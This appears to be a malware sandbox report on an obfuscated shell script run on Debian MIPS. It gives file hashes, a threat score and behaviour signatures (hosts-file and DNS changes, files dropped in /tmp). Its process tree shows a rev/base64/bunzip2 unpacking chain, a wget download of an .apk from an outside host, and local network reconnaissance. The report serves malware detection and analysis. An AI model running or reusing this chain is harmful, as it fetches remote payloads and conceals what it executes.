Overview

overview

8

Static

static

1

app_mod copy.sh_

ubuntu-18.04-amd64

8

app_mod copy.sh_

debian-9-armhf

8

app_mod copy.sh_

debian-9-mips

8

app_mod copy.sh_

debian-9-mipsel

8

Analysis

  • max time kernel
    0s
  • max time network
    121s
  • platform
    linux_mips
  • resource
    debian9-mipsbe-en-20211208
  • resource tags

    arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15/03/2023, 11:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    app_mod copy.sh_

  • Size

    51KB

  • MD5

    5a8c1fac337fb034f3a7456b0c416758

  • SHA1

    d883644c417a5f1543b88f2ac407ee84e1425420

  • SHA256

    902a66ff2a651275836d70b621a02225c3cdefc98dc4d28faee3ba772f65da2b

  • SHA512

    8adba312ef13f5628bffbb6f399f65d50f7479874fda4c191bc10e51fd48a49d5b8d247bc2cfbc99d6fe9a76fe5500976571d6ac4a150efae144ece3f5d1248a

  • SSDEEP

    1536:DxEyGznImjPZzlz1pxvp4eWbOvWM2I306DMmAgu:DxEyGznI4xl4jOvzhDMz

Score
8/10

Malware Config

Signatures

  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/app_mod copy.sh_
    "/tmp/app_mod copy.sh_"
    1⤵
    • Writes file to tmp directory
    PID:321
  • /usr/bin/rev
    rev
    1⤵
      PID:328
    • /bin/bunzip2
      bunzip2 -c
      1⤵
        PID:333
      • /usr/bin/base64
        base64 -d
        1⤵
          PID:332
        • /bin/cat
          cat
          1⤵
            PID:337
          • ./!
            "./!"
            1⤵
              PID:342
            • /bin/bash
              bash -c ";"
              1⤵
                PID:344
              • /usr/bin/rev
                rev
                1⤵
                  PID:349
                • /bin/bash
                  bash
                  1⤵
                    PID:346
                    • /bin/bash
                      /bin/bash
                      2⤵
                        PID:350
                        • /bin/bash
                          bash
                          3⤵
                            PID:353
                      • /usr/bin/base64
                        base64 -d
                        1⤵
                          PID:356
                        • /bin/bunzip2
                          bunzip2 -c
                          1⤵
                            PID:357
                          • /bin/cat
                            cat
                            1⤵
                              PID:361
                            • ./_
                              ./_
                              1⤵
                                PID:366
                              • /bin/bash
                                bash -c ";"
                                1⤵
                                  PID:368
                                • /usr/bin/wget
                                  wget -o wikipedia.apk https://int3.sk/wikipedia.apk
                                  1⤵
                                  • Modifies hosts file
                                  • Writes DNS configuration
                                  PID:370
                                • /sbin/ip
                                  ip addr
                                  1⤵
                                    PID:372
                                  • /bin/grep
                                    grep 192
                                    1⤵
                                      PID:373
                                    • /usr/bin/awk
                                      awk "{print \$2}"
                                      1⤵
                                        PID:374
                                      • /usr/bin/cut
                                        cut -d. -f 1-3
                                        1⤵
                                          PID:375

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads